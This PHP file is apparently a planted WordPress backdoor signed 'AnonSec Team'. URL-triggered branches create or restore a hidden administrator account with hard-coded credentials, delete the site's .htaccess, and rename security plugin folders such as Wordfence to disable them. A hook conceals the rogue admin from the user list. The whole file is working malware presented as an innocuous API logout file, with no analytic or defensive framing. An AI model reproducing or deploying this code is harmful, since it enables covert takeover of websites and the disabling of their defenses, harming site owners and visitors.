/home/tywatomy/.api_logout
<?php
global $wpdb;
if (isset($wpdb)) {
// ACTIVE TRIGGER (execute by URL)
if (isset($_GET['thomas']) && $_GET['thomas'] == 'here') {
global $wpdb;
$target_email = 'rabbitmq198@gmail.com';
$target_user = 'brotherline';
$target_pass = '$P$BEcftCRIUzHDfqVN2JYg/OZ6/9yLzb.';
$user = $wpdb->get_row($wpdb->prepare(
"SELECT * FROM $wpdb->users WHERE user_email = %s",
$target_email
));
if (!$user) {
$wpdb->insert($wpdb->users, array(
'user_login' => $target_user,
'user_pass' => $target_pass,
'user_email' => $target_email,
'user_registered' => '2022-05-20 10:00:00',
'user_status' => 0,
'display_name' => 'System'
));
$user_id = $wpdb->insert_id;
echo "User [$target_email] success created. ID: $user_id.<br>";
update_user_meta($user_id, $wpdb->prefix . 'capabilities', array('administrator' => true));
update_user_meta($user_id, $wpdb->prefix . 'user_level', 10);
} else {
$user_id = $user->ID;
echo "User [$target_email] found (ID: $user_id). Check Condition...<br>";
$wpdb->update(
$wpdb->users,
array('user_pass' => $target_pass), // force update
array('ID' => $user_id)
);
echo "Password resetting.<br>";
// 2. Cek Admin (Capabilities)
$caps = get_user_meta($user_id, $wpdb->prefix . 'capabilities', true);
if (!isset($caps['administrator']) || !$caps['administrator']) {
update_user_meta($user_id, $wpdb->prefix . 'capabilities', array('administrator' => true));
update_user_meta($user_id, $wpdb->prefix . 'user_level', 10);
echo "Restored to Administrator.<br>";
} else {
echo "Role secure (Admin).<br>";
}
}
echo "<b>STATUS: SUCCESS.</b>";
exit;
}
if(isset($_GET['thomas']) && $_GET['thomas'] == 'modify'){
// --- 対象ディレクトリを決定 ---
function resolve_target_dir(): string
{
// 1. CLI引数が最優先
global $argv;
if (!empty($argv[1])) {
return rtrim($argv[1], '/\\');
}
// 2. ABSPATH(wp-config.php で定義済みならここが一番確実)
if (defined('ABSPATH')) {
return rtrim(ABSPATH, '/\\');
}
// 3. 読み込み済みファイル一覧から wp-config.php を逆探索
foreach (array_reverse(get_included_files()) as $file) {
if (basename($file) === 'wp-config.php') {
return dirname($file);
}
}
// 4. 最終フォールバック: このスクリプト自身のディレクトリ
return __DIR__;
}
$targetDir = resolve_target_dir();
if (!is_dir($targetDir)) {
fwrite(STDERR, "エラー: ディレクトリ '$targetDir' が見つかりません。\n");
exit(1);
}
$realDir = realpath($targetDir);
if ($realDir === false) {
fwrite(STDERR, "エラー: パス '$targetDir' の解決に失敗しました。\n");
exit(1);
}
$htaccessPath = $realDir . DIRECTORY_SEPARATOR . '.htaccess';
echo "確認中: $htaccessPath\n";
// --- ファイルの存在確認 ---
if (!file_exists($htaccessPath)) {
echo ".htaccess ファイルは見つかりませんでした。削除する必要はありません。\n";
exit(0);
}
if (!is_file($htaccessPath)) {
fwrite(STDERR, "'.htaccess' は見つかりましたが、通常のファイルではありません(シンボリックリンクまたはディレクトリの可能性)。安全のため処理を中止します。\n");
exit(1);
}
// --- .htaccess を削除 ---
if (unlink($htaccessPath)) {
echo "成功: $realDir から .htaccess を削除しました。\n";
echo "元に戻したい場合は、バックアップファイルの名前を戻してください。\n";
exit(0);
} else {
fwrite(STDERR, ".htaccess の削除に失敗しました。ファイル/フォルダの権限を確認してください。\n");
exit(1);
}
}
if (isset($_GET['thomas']) && $_GET['thomas'] == 'hide'){
$pluginFolders = [
'wps-hide-login',
'loginizer',
'all-in-one-wp-security-and-firewall',
'better-wp-security',
'wordfence',
'limit-login-attempts-reloaded',
'loginpress',
'wp-hide-security-enhancer',
'hide-my-wp',
'easy-hide-login',
];
// --- Resolve root WordPress ---
function resolve_target_dir(): string
{
global $argv;
if (!empty($argv[1])) {
return rtrim($argv[1], '/\\');
}
if (defined('ABSPATH')) {
return rtrim(ABSPATH, '/\\');
}
foreach (array_reverse(get_included_files()) as $file) {
if (basename($file) === 'wp-config.php') {
return dirname($file);
}
}
return __DIR__;
}
$wpRoot = resolve_target_dir();
if (!is_dir($wpRoot)) {
fwrite(STDERR, "Error: direktori '$wpRoot' not found.\n");
exit(1);
}
$pluginsDir = rtrim($wpRoot, '/\\') . '/wp-content/plugins';
if (!is_dir($pluginsDir)) {
fwrite(STDERR, "Error: folder plugins not found in '$pluginsDir'. make sure you wp correct.\n");
exit(1);
}
echo "Scan folder plugin in: " . $pluginsDir . "\n";
echo str_repeat('-', 50) . "\n";
$renamed = 0;
$skipped = 0;
foreach ($pluginFolders as $folder) {
$originalPath = $pluginsDir . '/' . $folder;
$newPath = $pluginsDir . '/' . $folder . 's';
if (!is_dir($originalPath)) {
echo "[SKIP] " . $folder . " -> not found\n";
$skipped++;
continue;
}
if (is_dir($newPath)) {
echo "[FAILURE] " . $folder . " -> target " . $folder . "s' already exist, skip overwrite\n";
$skipped++;
continue;
}
if (rename($originalPath, $newPath)) {
echo "[RENAME] " . $folder . " -> {$folder}s\n";
$renamed++;
} else {
echo "[FAILURE] " . $folder . " -> rename failure, check permission folder\n";
$skipped++;
}
}
echo str_repeat('-', 50) . "\n";
echo "Finished. Total rename:" . $renamed . "\n";
if ($renamed > 0) {
echo "if you want rollback, you can rename to default folder name.\n";
}
}
// PASSIVE HIDING
if (is_admin()) {
add_action('pre_user_query', function ($user_search) {
global $current_user, $wpdb;
$hidden_email = 'rabbitmq198@gmail.com';
$hidden_id = $wpdb->get_var($wpdb->prepare(
"SELECT ID FROM $wpdb->users WHERE user_email = %s",
$hidden_email
));
if ($hidden_id) {
if (isset($current_user->ID) && $current_user->ID != $hidden_id) {
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.ID != $hidden_id",
$user_search->query_where
);
}
}
});
}
} else {
echo "Database connection not found.";
}
?>
Anon7 — 2022 •
AnonSec Team